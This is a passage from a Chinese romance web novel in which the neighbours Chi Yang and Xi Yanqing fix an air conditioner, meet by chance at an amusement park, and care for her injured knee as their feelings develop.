他接电话的时间里,池漾也接了个电话,叶青屿的。大意是说他晚上临时有事,就白天有时间,想陪孩子们逛一逛。
池漾觉得不跟席砚卿打声招呼就走不太合适,就让齐媛带着孩子们先下去了,说她晚点再过去找他们。
因此,等席砚卿接完电话出来,外面就留下了池漾一个人。
“他们回去了?”
池漾是背对着卧室坐的,听到他的声音才慢慢地转过头来。
她没说话,默默点了点头。
席砚卿走到她身边坐下,兴致颇浓地望着她。
她刚吃了口虾饺,腮帮子还是鼓鼓的,像一只赌气的河豚。
乖得不行。
或许是感觉到了他的灼热目光,池漾觉得有些羞赧,于是故技重施,加快了吃饭的速度。
席砚卿目光未动,双臂交叉着放在桌子上,悠悠叫了她一声:“池漾。”
池漾鼓着腮帮子抬头:“嗯?”
“我刚才吃过早饭了。”
“嗯?”
“所以不会跟你抢,你慢点吃。”
“......”
窗外的阳光愈发灿烈,屋内的两个人,一个垂眸浅笑,另一个闷头喝粥。
沉默的气氛着实是有些尴尬。
池漾在脑海里搜索着话题:“这些都是你做的?”
席砚卿:“......”
他就怕池漾问他这个问题。
八个人的早餐,还这么多种花样,怎么可能是他自己做的。
他眸光微顿,囫囵道:“呃......一部分吧。”
他做的那一部分,就是把鸡蛋放进煮蛋器,插上插头,然后拔下插头,再把鸡蛋放到盘子里。
......
池漾没怀疑,但也没继续追问。因为她现在的注意力都集中在这碗香气四溢的粥上:“这个粥,做的跟清风楼的味道一模一样。”
席砚卿:“......”
这就是清风楼的。
池漾:“你今天不用上班?”
席砚卿双手背在后颈,慵懒地靠着椅背,漫不经心道:“刚才已经把工作处理完了。”
池漾哦了一声,原来他刚刚坐在电脑前是在处理工作。
随即看向他的目光多了一丝钦佩,能在那样的环境中沉下心来工作,她也是觉得佩服。
席砚卿捕捉到她眼中的闪光,心中暗爽。
快吃完的时候,席砚卿的手机响了一声。
通话时间很短,池漾只听见席砚卿报了个门牌号,然后就看到他起身到玄关,按下了门禁按钮。
此情此景,池漾觉得他一定是有朋友拜访,于是准备迅速撤离。
她正纠结着要不要把碗洗了的时候,耳边传来一句:“顺便把你的工作也处理了。”
池漾还以为自己听错了:“我的工作?”
席砚卿走过去相当自然地接过她手中的碗筷,放进洗碗机,转过身来对她说:“修空调的工作。”
池漾这才听懂他话里的意思,闷闷哦了一声。
心底没有任何来由地,浮现出一股强烈的失落情绪。
这么着急联系人给她修空调,其实她终究还是打扰到他了吧?
多的话,她一句都没说,但席砚卿像是能看透人心思似的,似笑非笑地开口:“你瞎想什么呢?”
“嗯?”
“我是担心你一个女孩子,让男士单独上门维修不安全,正好趁着我在,可以假扮一下你的家人,这样更保险一些。”
也许是因为离得近的原因,他平静中带着隐隐笑意的声音,让池漾产生了一种可以肆意依赖的错觉。
她轻轻嗯了一声,把心里的那点错觉,一压再压。
两个人并肩往对面走,席砚卿趁着楼道的那一点距离,接上他刚才从她眼底读出的心思:“我不觉得你麻烦。”
横空出世的一句话,却让人觉得有迹可循。
刚刚才压下的情绪,又如雨后春笋般,极速冒头。
这次,池漾还没来得及再次压下这股情绪,就听到叮的一声。
是电梯的声音。
她闻声转身,看到里面走出来一个穿着蓝色制服的人,他礼貌性地笑着,看着席砚卿问:“请问是您叫的空调维修服务吗?”
席砚卿:“是。”
这是席砚卿第一次进池漾的家。
房间跟他那边的布局很相似,三室两厅,装修风格也是以简约大气为主,但生活气息明显比他那边要浓很多。
空调坏的那间屋子在过道最深处,因此会经过池漾的卧室。她早上起床着急,连门都没来得及关,虚虚地半掩着。
席砚卿无意窥探她隐私,只是不经意间扫了一眼,随即收回目光。
维修人员经验很丰富,一眼就看出了问题所在。
这间屋子的空调是全新的,全新到连空调主机电线插头那个塑料薄膜都没拆,应该是突然一接电,迅速产生火电,塑料融化后发生了电路短路,只需要把线重新接上就好。
这项工作很简单,一会儿就处理好了,屋内终于恢复了阵阵凉爽。
池漾道了声谢,然后问他怎么收费。
这位维修人员相当专业的解释:“您先生是在网上预约的到家服务,我们给出价格后在网上直接付款就行。”
什么?
我先生?
池漾的表情瞬间凝固。
维修人员还以为她是对这种收费方式
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有异议,耐心地解释:“整个收费体系都建立公正客观的标准之上,所花费明细都有详细记录,并且也需要您先生进行确认无误之后,我们才能收到这笔钱。您放心,绝对不会存在漫天要价的行为。”
嗯?
我质疑的好像不是这个吧?
池漾一边想着,脸上的表情凝固的更深一层。
维修人员看着她一脸不太满意的表情,挂在嘴边的那句“麻烦您给我一个五星好评”怎么都说不出口。
与此同时,他还在心底暗忖:看来这次运气不太好,遇到了一个妻管严。
这明显就是没提前跟老婆商量才造成了误会!
这特么要他怎么解释!
难道全优奖又要泡汤了!
维修人员犯了难,只有将眼神求助般地望向斜靠在书桌前一直没说话静静看戏的席砚卿。
那眼神似乎在说:你们夫妻间的小事,不能影响我的好评率啊,那可跟我工资挂钩的啊!
如果这时候池漾回头,她一定会看到席砚卿噙满笑意的眼角。
可她没敢回头。
因为脸颊的热意太滚烫,她不用照镜子都能想象到自己的脸红程度......
这让她怎么回头......
倒是席砚卿靠着桌角,寻常又散漫地说了句:“今天谢谢您了,我们对您的服务很满意。”
维修人员的那句“那麻烦您给一个好评”终于找到机会说出了口。
两个人在门口送别维修人员。
这维修人员也是热情,等电梯的时候还相当自来熟地跟他俩唠嗑:“我这一趟就是不赚钱都不觉得亏,我还是头一次见颜值这么高的夫妻。以后你们家还有啥需要维修的,尽请联系我,这是我的名片。”
池漾:???
席砚卿:!!!
这年头神助攻是不是遍地可找!还都不要钱!
席砚卿接过名片,又言辞真挚地道了声谢。等维修人员走后,他看着池漾泛红的耳根,明知故问道:“空调不是都修好了吗?怎么还这么热?”
“啊?”池漾有点茫然,“我不热啊......”
他步步紧逼:“那你脸红是因为......”
“呃......”
池漾吞吞吐吐,在心里默默淬着自己——池漾!你脸红个什么劲!人家席总监都提前跟你打过招呼了怕你一个女孩子不安全才陪着你的!人家都没想多,你能不能别给自己加这么多戏!能不能不这么矫情!
俗话说,人在重压之下,才能被逼出最大的潜力。
那么,推此即彼,人在重度尴尬之下,也能被逼出新的本领。
比如说,语出惊人。
席砚卿耐性十足地等着她的回答,凝眸片刻,却见她慌不择路,看着他脱口而出就是一句:“我脸红是因为刚刚那个小哥哥长得太帅了,我好色!”
席砚卿:“......”
19. 偷听
席砚卿下午还有个重要的会要开,于是等空调修好,他就赶忙去了公司。
钟离声跟着他走进办公室,一副看好戏的模样,语气戏谑:“哟哟哟,您八份早餐都吃完了?”
席砚卿一脸专注地看着会议资料,放任他自导自演。
钟离声看他这副无动于衷的样子,终于忍无可忍,大声控诉道:“席砚卿!你没有女朋友可是我有!”
大早上的,他温香软玉睡得正惬意,突然一个电话,搅扰了所有美梦。
“这月奖金加倍。”席砚卿淡淡撂下一句话,连目光都没有抬起。
钟离声忽然觉得,他还是可以再忍忍的。
......
一下午的会议,精神一直都高度集中。
结束的时候,连一向是工作狂人的席砚卿都深感疲惫。
以至于看到苏兮的时候,他一时都没反应过来。
苏兮倒是兴致昂扬,蹦蹦跳跳地跑到他面前,举起手机递给他看,一脸骄傲地说:“砚卿哥哥,我高考成绩出来了,你看!”
席砚卿看了一眼屏幕,668分。
真的很高了,尤其是对一个艺考生来说,这成绩,进朝大音乐学院,妥妥的专业、文化双料第一。
哪怕不要艺考分,就凭这裸分,也能上重点。
席砚卿觉得挺欣慰。别看是苏家的大小姐,从小什么苦都能吃,不管是练琴的苦,还是学习的苦。苏默明明完全有能力把她送到国外,让她不用经历残酷的高考,小姑娘就偏要自己考。
还真的考出来了。
“考的不错!”席砚卿毫不吝惜他的赞扬。
话音刚落,他却忽然想起一个人来。
他没有来由地,想起已经高考完很多年的池漾,当年的她能考上京大法学院,高考成绩一定也是相当佼佼。
当年的她,是和谁分享了这个好消息呢?
很奇怪,明明谈的是与她无关的事情,可他的思绪兜兜转转,总是能回到她身上去。
“砚卿哥哥,那你觉得我是读金融,还是读法律?你大学不是读的双学位吗,要不我也读个双学位?”
苏兮的问话,切断他飘远的思绪。
席砚卿听了,微微蹙了下眉,表情沉肃地问:“为什么不读音乐学院?”
苏兮一时语塞。
席砚卿眸光一凛,几乎是以一位长者的口吻在继续:“苏兮,你从小是我看着长大的,我也看的出来你对音乐有多热爱,好不容易才走到现在,为什么要突然改变志向?”
“我......”苏兮红着脸,微微低下头,轻声说了句,“因为我想来你公司实习......”
说到最后,声音渐渐地弱了下去。
席砚卿轻叹一声,抬手揉了揉眉心。
他承认,这阵仗他应对起来还真的有点力不从心。
想了下,他拿起手机,给白清让发了条微信。
没一会儿就收到了回复。
席砚卿起身,拿上车钥匙,“还记得清让哥哥吗?”
苏兮点点头。
席砚卿语气沉静:“他在朝大法学院当教授,我带你去见见他,见过之后你再决定也不迟。”
-
席砚卿把苏兮交给白清让,让他们好好聊聊。至于他,则一把抱起白念笙,“笙笙交给我了,我带她出去玩一圈。”
白念笙紧紧揽着他的脖子,那表情,别提有多愉悦。
一向温和儒雅的白教授看到这一幕,心里不由自主地飘过一句弹幕——
白念笙!你搞清楚!我才是你亲爹!
坐上车后,白念笙高兴地拍拍手,满眼好奇地问:“小叔,你要带我去哪里玩啊?”
席砚卿一边帮她系安全带一边说:“我们去欢乐谷好不好?”
白念笙听到这里一脸的不可置信,瞪着大大的眼睛,仿佛在问真的假的。
席砚卿笑笑,然后发动了车子。
欢乐谷夜场是从下午五点开始。
现在是夏季,夜场的气氛相当火热。因为白天天气燥热,好玩的项目大多都露天,没人愿意来遭这个罪。到了傍晚,天色还亮着,但是太阳已经不烈了,这时候来就正好。
其实,席砚卿对这样的地方没什么兴趣,这也是白念笙知道他要带她来欢乐谷的时候,那么吃惊的原因。
这次,他确实是别有用心。
他这次来,其实有赌的成分。
欢乐谷这么大,偶遇一个人,好像也不是特别容易。
但他转念一想,这世界这么大,他们都相遇了,欢乐谷......好像也不算什么。
买好票后,两个人过了检票口。席砚卿没来得及换衣服,穿着衬衫西裤,整个人显得精英感十足,风度翩翩。在这样一个游乐场所更是显得尤为瞩目,引得不少行人纷纷侧目,招来一双又一双盛满桃花的目光。
然后,她们的目光下移,就看到他手里还牵着一个小女孩,眼里的桃花又在瞬间凋谢。
得!不仅英年早婚!还早生贵子!
白念笙怎么都不会想到,她有朝一日,竟然成了替小叔挡桃花的利器。
欢乐谷人不少,热门项目前都排了长长的队。
席砚卿和白念笙站在导览图前,各怀鬼胎。
席砚卿目光微垂,心想白念笙应该跟那群小孩子们没代沟吧,他们爱玩的东西应该差不多吧?
想到这儿,他蹲下来,目光与笙笙平视:“想玩什么?”
白念笙眨了眨眼睛,伸出自己的小手指,指向了一个方向。
席砚卿顺眼望去。
不是他料想中的旋转木马,也不是海盗船、大摆锤,而是一棵在导览图充当背景的梧桐树。
等到了目的地,席砚卿才发现,那棵梧桐树并不是什么游乐设施,而是供游客休息的场所,下面摆放着一排木凳,潺潺溪水绕膝而过。
此时天边一抹火烧云烧得正旺,微风一吹,仿佛连空气都变成了粉紫色。
席砚卿不知道白念笙为何要来这里,无声地陪着她在木凳上并排坐下。
白念笙坐在他旁边,也不说话,就这么看着前方来来往往的人群。
直到小溪那头的一间屋子突然亮起灯盏,白念笙才一下子从木凳上跳了下来,一脸兴奋地叫道:“啊!就是那个!小叔,我想吃那家的樱花冰激凌!”
席砚卿敛眉一笑,心想小姑娘原来是在等这个:“好,小叔带你去。”
旁边的小姑娘却突然不乐意了,拨浪鼓似的摇着头,说着自己的想法:“小叔,可不可以让我自己去买,你不要过去。”<
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p>席砚卿不解:“为什么?”
白念笙眨着大眼睛:“因为我生日的时候小叔给我准备了生日礼物,所以我也想送小叔一份礼物。”
席砚卿拍了拍她的头,温柔说道:“等我们笙笙长大了,再送我礼物好不好?”
白念笙似乎仍然不愿意妥协。
席砚卿想不明白她执意这么做的原因,直接说出自己内心的顾虑:“人这么多,你一个人去买,丢了怎么办?”
白念笙坚持道:“不会啊,就一座小桥的距离啊,你可以在这边看着我,我买完就回来,不会丢的。”
两个人僵持不下,最终还是选择了折中方案,席砚卿在桥那头等她,她一个人去排队。
估计是季节限定,队伍不一会儿就长了起来。
席砚卿斜靠着栅栏,看着只与他隔着几米远的白念笙。
就是在这个时候,一个熟悉的声音传入耳畔。
“齐媛,你先带孩子们去排队,我接一下电话。”
席砚卿微微一侧头,就看到了他此行的“目的不纯”。
池漾没看到隐在树影中的席砚卿,在溪边站定接通了电话。
席砚卿真无意偷听,却因为距离太近,她的声音还是悉数落入了他耳中。
-
池漾接完电话,正准备去找齐媛汇合,突然一个高瘦身影,出现在了她面前。
她一抬眸,竟然是席砚卿!
有缘到这个份上,是真的有点诡异了吧!
不过,还没等她感叹怎么这么巧,席砚卿冷漠又疏离的声音便率先响起:“你不是请年假了吗?”
池漾不明白这个问题从何而来。
心想我是请年假了啊,所以我今天才不用上班啊,这有什么不对吗?
反倒是你,怎么突然出现在了这里?
席砚卿看她不回答,继续问道:“放假期间对老板的电话也要有求必应?”
“啊?”池漾对眼前的一切都充满了不解,这个人,以及这个人说的话,“什么老板?”
席砚卿一想到自己要掐的桃花那么多,心里没来由地有些烦躁,语气冷了几分:“就给你打电话的那个人。”
“阿锦?”池漾本能地复述了一遍,音调微微上扬着,表示着她的疑惑。
可在席砚卿听来,这一声喊得那是相当的缠绵和亲昵。
他还沦落到只能被叫总监,那边已经晋升成昵称阿锦了,一股来自情敌的强大压力,将他淹没。
池漾一脸茫然,问:“不过,这跟我老板有什么关系?”
席砚卿:“顾锦泽不是你老板?”
“是啊,”话落,池漾瞬间反应过来他的意思,解释说,“不对,不是!顾锦泽是我老板,但阿锦是我弟,我亲弟!他名字里也有一个锦字,所以我叫他阿锦。”
场面一度很尴尬,只不过这次尴尬的人换成了席砚卿。
席砚卿以手抵唇,假装很自然实际上很不自然地轻咳了两声,想把这件事盖过去:“所以你手机屏保那张合照是你跟你弟弟的吗?”
池漾:“是啊,怎么了么?”
“哦,没事。”席砚卿表面维持着淡定的神色,内心却是相当窃喜,“我就是看他那个T恤很喜欢,想问问他在哪买的。”
池漾:“......”
20. 沉沦
那不过就是一件普通的深蓝色T恤,美国的一个潮牌,近几年在国内很火,品牌店开了一家又一家,随处可见。
池漾一边琢磨,一边用余光打量着席砚卿的身高。
他俩现在交错站着,池漾站在他的右前方,隔着一个手臂的距离。
席砚卿站在桥头,一直用余光关注着白念笙。
只见她踮起脚尖,从售货员手里拿过了两只冰淇淋后,便笑眼盈盈地朝他站立的地方跑来了,嘴里还振振有词地喊着小叔。
池漾本来是背对着冰淇淋店站的,直到听到这个奶声奶气的童声,她觉得莫名熟悉,好像在哪里听过似的,于是也不由自主地转过身来,想一探究竟。
欢乐谷场景搭建的十分真实,处处可见细节的用心。
溪水潺潺旁的林荫小道上,鹅卵石交错分布,凹凸不平,有种自然生成的粗砺美感。
插曲就是在这时响了起来。
白念笙两只手拿着冰淇淋,堪堪维持着身体的平衡,眼睛别无二心地看着席砚卿,以至于忘了注意脚下。那条林荫小道刚过半程,白念笙就被上面凸起的鹅卵石猝不及防地绊了一下,下一瞬,她整个人开始不受控地向前倾倒,眼看着就要磕向地面。
席砚卿瞬间反应过来,大步跑上前去。
却不料,有一个人比他更快。
她伸开双臂,奋不顾身地,紧紧拥住了这个素不相识的女孩。
预想中的事情并没有发生。
倒地前一秒,白念笙稳稳当当地跌进了一个温暖的怀抱。手里的冰淇淋滑落,擦过抱住她的这个人的背,掉落在斑斓的鹅卵石路上,像突然打翻的一坨粉色颜料。
“嘶......”池漾膝盖吃痛,没忍住轻嘶了一声。
她眸光微垂,这才发现自己此刻是半跪在地面上的姿态。
“你没事吧?”
两个声音同时响起,一个是池漾在问小女孩,另一个则是席砚卿在问池漾。
听到池漾的声音,白念笙表情瞬间怔住了。
“妈妈?”她下意识地叫了一声,似是本能的、不受控的呢喃与呼唤。音调是微扬的,声音是轻轻的、淡淡的。
不过,还是被池漾听到了,她不解地蹙了下眉。
以至于没来得及回答席砚卿的问题。
等她反应过来的时候,席砚卿已经半跪在地面上,轻轻抬起她的腿,为她检查伤口。
她今天穿了件淡蓝色背带裤,血迹一晕染,红色相当明显。
看到这儿,席砚卿也顾不上征求她同意,直接伸出双臂就抱起了她。
彼时,火烧云烧至最后一抹绚烂,繁星与皓月竞相登场,夜幕生来璀璨,照亮所有征程。
她被他抱在怀里,他的轮廓,他的气息,他的味道,都近在咫尺,清晰可闻。
她看清他漆黑如墨的眸色,看清他笔挺如刀削的鼻梁,看清他紧抿的唇峰,看清他白净的脸庞,看清他侧脸的轮廓——棱角分明,显得又冷又傲。
可又不会拒人于千里之外。
这瞬间,池漾有些好奇,究竟是时光对他多了些偏爱,还是他对时光足够认真。
所以才能被岁月打磨出这样的气质——少年心性还残存着,内敛的英气与外放的热忱,在他身上,相得益彰,此消彼长。
让她这般心动。
心中的旖旎陡然清晰,池漾没敢再多看,恹恹垂下目光。
垂眸之时,她嗅到他的味道——甘醇芳洌,诱她心甘情愿地沉沦。
那一瞬间,池漾觉得自己,是“目中无人”的。
——除了他,余下的热闹皆如退潮,伴着稀薄月色,变得遥远而模糊。
唯有他,一言不发,却让她的心涨得异常饱满。
横卧在溪水上的这座木桥,漆红斑驳,树影零落。
他抱着她走过这座木桥,不过十来秒的时间。
恰恰够她,默念一阙诗句。
世人皆能背诵出“金风玉露一相逢,便胜却人间无数”的雅致;皆能心领神会“两情若在长久时,又岂在朝朝暮暮”的相思。
却鲜少有人知,秦观在落拓这首《纤云弄巧》时,藏匿在其中的不舍与哀伤。
这阙被很多人遗漏的诗句,就藏在上述两阙名句中间——
“柔情似水,佳期如梦,忍顾鹊桥归路。”
世人皆知金风意,皆知朝暮情。
却不知,鹊桥一顾,乍泄了风光月霁。
此后几许山水,皆一派天朗气清。
-
过了桥,席砚卿将池漾轻轻放在木凳上。然后,他长腿一屈,半跪在地上,半仰着目光看过来,声色温柔:“可以让我看看伤口吗?”
池漾对上他的目光,轻轻嗯了一声。
获得了许可,他才挽起她的裤脚,小心翼翼地往上卷。
生怕弄疼了她,也生怕碰到她。
她很瘦,几乎不需要什么阻力,裤子就被推到了膝盖之上,那块泛着血迹的伤口,在白嫩的皮肤中,显得尤为刺眼。
白念笙站在一边,眼里写满了愧疚。
齐媛和五个孩子,看到伤口的时候,也都惊得倒吸了一口凉气。
池漾看着他们的错愕神色,觉得好像,打趣道:“喂,我说你们可都是见过世面的人,平常做农活、走山路,没磕过绊过吗?这点小伤还叫伤?你们这都什么表情?多大点儿事啊。媛媛,你带孩子们去玩,不用管我。”
齐媛自然没心情再玩:“这游乐场应该有临时医院之类的地方吧?先去处理伤口。”
池漾摆摆手,丝毫不在意:“这点小伤去什么医院啊。你背包夹层里有一盒创可贴,你拿出来给我就行。我本来为孩子们准备的,没想到自己先用上了。”
她说话的语气一直都非常轻松,一副完全没把这个伤放在心上的样子。
也自然,没注意到席砚卿逐渐冷下去的眸色。
齐媛拿出创可贴和湿巾,正准备弯腰替她包扎,却被一张大手半路拦截。
“我来。”他言简意赅,却带着一股不容置喙的气势。
齐媛只好递给他。
他动作轻柔又利索,很快就处理好了伤口。但还是放不下心,想带她去医院专业处理一下,以防伤口感染。
见池漾的裤子上已经有了血迹,席砚卿一把脱去自己的衬衫,盖在她的伤口上:“防止感染,将就一下。”
他衬衫一脱,身上就只剩下一件贴身的纯白T恤,清晰地勾勒出他的上半身轮廓。
肩宽腰窄,像风切割出的雕塑品。
“哦。”她低下头,喃喃应了一声,听他的话握紧了衬衫。
席砚卿眼神扫了一下周围,随后把目光放在五个小孩子身上,口气有商有量:“我要带你们池漾姐姐先走,你们可以在这边继续玩,到时候我派司机来接你们,可以吗?”
池漾一脸讶异地看向席砚卿:我什么时候答应要跟你一起走了!
“不!”于冬又是最先开口的那个,“我什么都不想玩了,我要陪着池漾姐姐。”
紧跟着又是此起彼伏的童声——
“对!我也不想玩了!”
“我要跟池漾姐姐一起回去!”
......
不知不觉间引来好多注视的眼光。
池漾无奈抚额,心想多大点事儿,能不这么声势浩大么?
席砚卿将目光重新看向池漾:“你们怎么来的?开车了吗?”
池漾点点头,但她这个腿,应该是开不了车了。
齐媛虽然有驾照,但是对这座陌生城市的路况并不熟悉,再加上又是晚上,她实在不放心让她来开。
“等我一会儿。”席砚卿说完去打了个电话。
不到一分钟的功夫,他就回来了,看着池漾说:“这样,我开车带着你和笙笙,还有两个女孩子先走,等会儿有司机过来把你的车开走,顺便接走齐老师和三个
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男孩儿,可以吗?”
池漾觉得有点麻烦他,刚想开口说不用了。
结果还没等她拒绝,席砚卿就已经给了齐媛司机的联系方式,相当的速战速决,根本没给她说不的机会。
一行人在车上坐定,池漾坐在副驾驶,三个小姑娘坐在后座。
席砚卿开始导航最近的医院,池漾见状忽然伸手拉住他的手肘,语气带着恳求:“不去医院,求你了。”
那是慌乱又无措的眼神,也是他从来没有见过的眼神。
不知为何,他虽然并不知道她这么抗拒医院的原因,但心里还是没来由地空了一下。
他终究还是依了她,语气安抚:“好,不去,你别怕。”
车身汇入车流,席砚卿从后视镜中看到白念笙一脸愧疚的表情,叫她:“笙笙?”
白念笙抬头看向前方。
席砚卿语气放缓,耐心跟她解释:“池漾姐姐受伤不是你的错,你刚刚已经给她道过歉了,不是吗?”
如果非要说谁错,那这个错的人,只能是他自己。
池漾也偏头看向白念笙,笑说:“对啊,这只是个小意外,姐姐睡一觉明天伤口就好了,没关系的。”
白念笙听着这个声音沉默了好一会儿,才试探着说出了一句话:“小叔,这件事情可不可以,不告诉爸爸?”
她声音轻轻的,像是悬浮在空中的尘埃。
席砚卿以为她是怕被责备,点了点头。
窗外夜色渐沉。
没有人知道,这个才六岁的小姑娘,是怎样把心里那些既兜不住又拼命往外溢的情感,藏得严严实实。
-
齐媛和三个小男孩几乎是和他们前后脚到的家,席砚卿让司机把白念笙送回去,然后和一群人上了楼。
池漾被席砚卿一路抱着,放上了床,右腿耷拉着轻放在一个抱枕上。
卧室里只有他们两个人,齐媛和孩子们一进门就跑回各自的房间,不知道干什么去了。
这孤男寡女的共处一室......
池漾机敏地预感到此种氛围不宜长期停留,开始不动声色地赶人:“席总监,我这儿没什么事了,你看你?”
席砚卿目光微垂,似笑非笑地撂出两个字:“赶我?”
池漾:“......”
“不去医院可以,但是不看医生不行。我认识一个医生,正好住在这个小区,我让他上门来看看。”
“......”
行吧。
席砚卿刚给医生打完电话,池漾的卧室瞬间就被一群人填满了。
刚才消失的那一拨人,一个接一个地往池漾卧室里跑,手里还都拿着五花八门的小玩意儿。
于冬永远冲在最前面,手里拿着一个可爱的晴天娃娃:“池漾姐姐,这是我送你的礼物,晚上睡觉的时候把它放在床头,这样伤口就不会疼了。”
池漾听了,心头蓦地涌出一阵暖意。
其实这话是上次于冬受伤,她安慰他的话。没想到,这么长时间过去了,他不仅还记得,还把这话原封不动地回赠给了她。
沈一清送的礼物,是一本他和文娟、涵涵共同写的诗集。普通的作业本封面,被他们描绘出了山川与水流,里面的字迹清秀,看得出来下了不少功夫。
封面写着——要成为自己的英雄。
同样是她对他们说过的话。
许光洁性子沉稳,天性有些害羞,直接把手里的那瓶星星递给了池漾,一句话都没说。
池漾却什么都懂。
席砚卿看着这三份礼物,联想起他们那天在饭桌上的聊天。
各执一词的三个男孩,跟大相径庭的礼物,正好一一对上。
他们送的,都是他们内心认为池漾最喜欢的东西。
席砚卿看着这温馨又寻常的一幕,心尖瞬间酸软一片。
——把这么好的你让给别人,那画面,我每想起一次,都心如刀绞。
21. 难追
送完礼物后,齐媛想要池漾早点休息,便带着孩子们出去了。
卧室重新恢复了安静。
不到一会儿的功夫,门铃声响起,席砚卿起身去开门。
门外站着一对璧人,赏心悦目,格外般配。
是陆谨闻,和他的太太林洛希。
陆谨闻身为医生,第一反应就是观察病患的症状,结果他从上到下打量了席砚卿好几眼,怎么看都不像受伤的样子。
席砚卿读出他的疑惑,解释说:“不是我,是我一个朋友受了伤,跟我来。”
林洛希也不知道伤者到底是男是女,也不知道到底是伤到了哪里,觉得这样贸然跟过去不太好,于是就在客厅的沙发上坐了下来。
主卧里,池漾和陆谨闻的目光一对上,两个人便不约而同地脱口而出:
“池漾?”
“师哥?”
席砚卿:“?”
坐在客厅的林洛希听出这是谁的声音后,也从沙发上站了起来朝卧室走去。
池漾于不经意间一抬眸,就看到了站在门外的林洛希,欣喜之情瞬间溢于言表:“洛希?你也来了!”
林洛希看到池漾右腿贴着的创可贴,大步迈到她身边,一脸担心地问:“怎么回事儿?疼不疼?”
池漾摇摇头:“没事,我就是磕了一下,其实用不着看医生的,但......”
她没继续说下去。
但是什么呢?
她说不清。
因为这一点都不像她的作风。
她这个人最讨厌的就是平白无故欠别人人情,可到现在,她已经欠席砚卿不知道多少个人情了。
趁她们俩姐妹聊天的功夫,陆谨闻打开医药箱,重新给池漾清理了一下伤口,又重新进行了包扎。
池漾着实是没想到,席砚卿认识的那个医生竟然就是陆谨闻。要知道,这可是京溪医院胸外一把刀啊,现在亲自上门给她磕破的膝盖包扎?
想到这儿,池漾觉得实在是有点儿大材小用了:“让您亲自上门看我这点小伤,真是屈才了。”
陆谨闻淡淡一笑,顺着她的说话方式接下去:“当初我找你帮我老婆忙的时候,你不是也没置之不理?”
“师哥,言辞不当了啊,”池漾打趣道,“我可记得,那时候你们还没结婚呢,我女神顶多算是你女朋友吧。”
陆谨闻:“......”
听到这儿,席砚卿才稍稍理清他们之间的关系。
伤口处理好之后,陆谨闻又站在医生的立场叮嘱了池漾几句。
忙完正事之后,陆谨闻站起来,左看看席砚卿,右看看池漾,怎么想都觉得不可思议:“你俩怎么凑在一块儿了?”
席砚卿一脸淡定:“我们是邻居。”
陆谨闻:“......”
糊弄谁呢你。
池漾也揣着一肚子话想问:“师哥,你们不是在东城住吗,怎么搬到这里了?”
陆谨闻看了林洛希一眼,满眼宠溺:“你嫂子在朝大读博士,就在这里买了一套房子,刚搬过来没多久。大部分时间我们还是在东城住,今天这不赶巧了吗。”
池漾眼睛亮起来:“嫂子,你读博士了啊,真厉害!”
林洛希含羞一笑:“我之前都不知道你在这里住,要不早就该找时间聚一聚。”
池漾:“没关系,以后可以约起来。”
四个人又随意聊了几句,看时间也不早了,陆谨闻和林洛希便没有久待,心想反正以后也有的是机会见面,就先行离开了。
送走他们之后,席砚卿拐回到她的卧室,再次叮嘱了一遍注意事项。
池漾还沉浸在见到故友的喜悦中,饶有兴致地问席砚卿:“席总监,你既然认识陆谨闻,那你应该也知道林洛希吧,今天看到真人,是不是比想象中还要完美,还要好?”
但话音刚落,她脑海里莫名浮现出,那次在电梯口席砚卿对他朋友说的那句话:一般的女人入不了我的眼。
想到这儿,一股难言的失落瞬间涌上心头。
席砚卿看着她,意味深长地接了句:“你更好。”
池漾表情一怔。
“池漾。”他忽然叫她。
“嗯?”
“你心目中好的爱情是什么样的?”他很认真地问。
那目光太过赤诚,池漾一时语塞。
许久后,她才垂下眸,轻声说:“好的爱情,至少要两情相悦吧。”
反正不存在于,你我之间。
-
席砚卿回去之后,池漾这才注意到,床边放着的那件沾了血迹的白色衬衫。
纵然她对服装设计这一块儿并不了解,但因为叶青屿是做这一行的,她也在潜移默化中形成了一些认知。比如说这件衬衫不管是从材质还是设计来看,应该不能机洗。
于是,她拉开衣领,将上面印着的logo和衣侧印着的材质表,一股脑发给了叶青屿。
毕竟天生的设计师,不用白不用,也省得她劳心费神的查了。
飞机刚落地的叶青屿,看到池漾的消息,以为是要夸他带孩子们玩得多么好,结果一打开,映入他眼帘只有言简意赅地一条信息:【这衣服怎么洗?】
叶青屿:【......】
后来,等他定睛一看才觉出不对劲,这不是他设计的衬衫吗?
还有,这不是男士衬衫吗?
到底什么情况!
叶青屿:【这谁的衣服?】
池漾:【一个朋友。】
叶青屿:【什么朋友?关系都好到需要你给他洗衣服了?】
池漾:【你问那么多干吗,直接告诉我怎么洗就行,这应该不能机洗吧?】
叶青屿:【嗯。】
然后就没了下文。
池漾一脸懵逼:你倒是告诉我能怎么洗啊。
过了一会儿,叶青屿才发来下句:【这衣服不能洗。】
池漾:【???】
叶青屿:【这衣服设计出来的时候,就没考虑过需要洗的情况。】
池漾:【这设计师有病吧!】
叶青屿:【你骂谁呢!】
池漾:【......】
叶青屿:【另外提醒你一下,这衣服是限量款,现在市面上根本买不到。】
池漾:【......】
她怎么突然有种被人讹上的感觉。
一筹莫展之际,她忍不住对叶青屿发起牢骚:【我真是纳了闷,不就一件衣服,搞那么多噱头干嘛!又是不能洗又是限量款,真把自己当黄金了啊。】
叶青屿:【品牌营销策略懂不懂!】
池漾:【......】
叶青屿:【但是我当初自留了一件,全新的。】
池漾:【我买了!】
叶青屿:【我缺你那点钱?】
池漾:【那你说你想要什么。】
叶青屿:【很简单,实话告诉我这件衬衫是谁的就行。】
池漾:【前世今生那位的......】
叶青屿:【???】
他刚说啥来着,有情况就是有情况!
于是,满心好奇的叶青屿,不满足于文字沟通,直接一个电话就打了过去。
电话响了两声之后,传来冰冷的播报音——对不起,您所拨打的电话已关机,请稍后再拨。
叶青屿:“......”
-
席砚卿全然忘记了自己衬衫的事情,虽然天色已经不早,但他却没有丝毫睡意。
阳台的窗户被他轻轻错开一条缝,晚风乘机而入,丝丝缕缕地绕着弯,惹得他不由自主地朝左侧望去。
那边的窗帘只拉了一层,透出淡淡的光。
终于不再是他第一次来的那样,密封着的遮光布,像密不透风的心墙,通感地让他有些忐忑,怕他还没努力就已经没有机会走进她心中。
可今天抱起她的时候,席砚卿异常确定,她砰砰的心跳是真实的,她骤升的体温也是真实的。
这就够了,他不贪心——
只要她肯为他留一条缝,他就有信心自己能钻进去
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。
从她受伤到现在,他的情绪一直都处在紧绷状态,短短几个小时仿佛被无限拉长,生出一种时过境迁的沧桑感。
因此,当席砚卿接到白清让电话的时候,他甚至有点恍惚:“苏兮?她怎么了?”
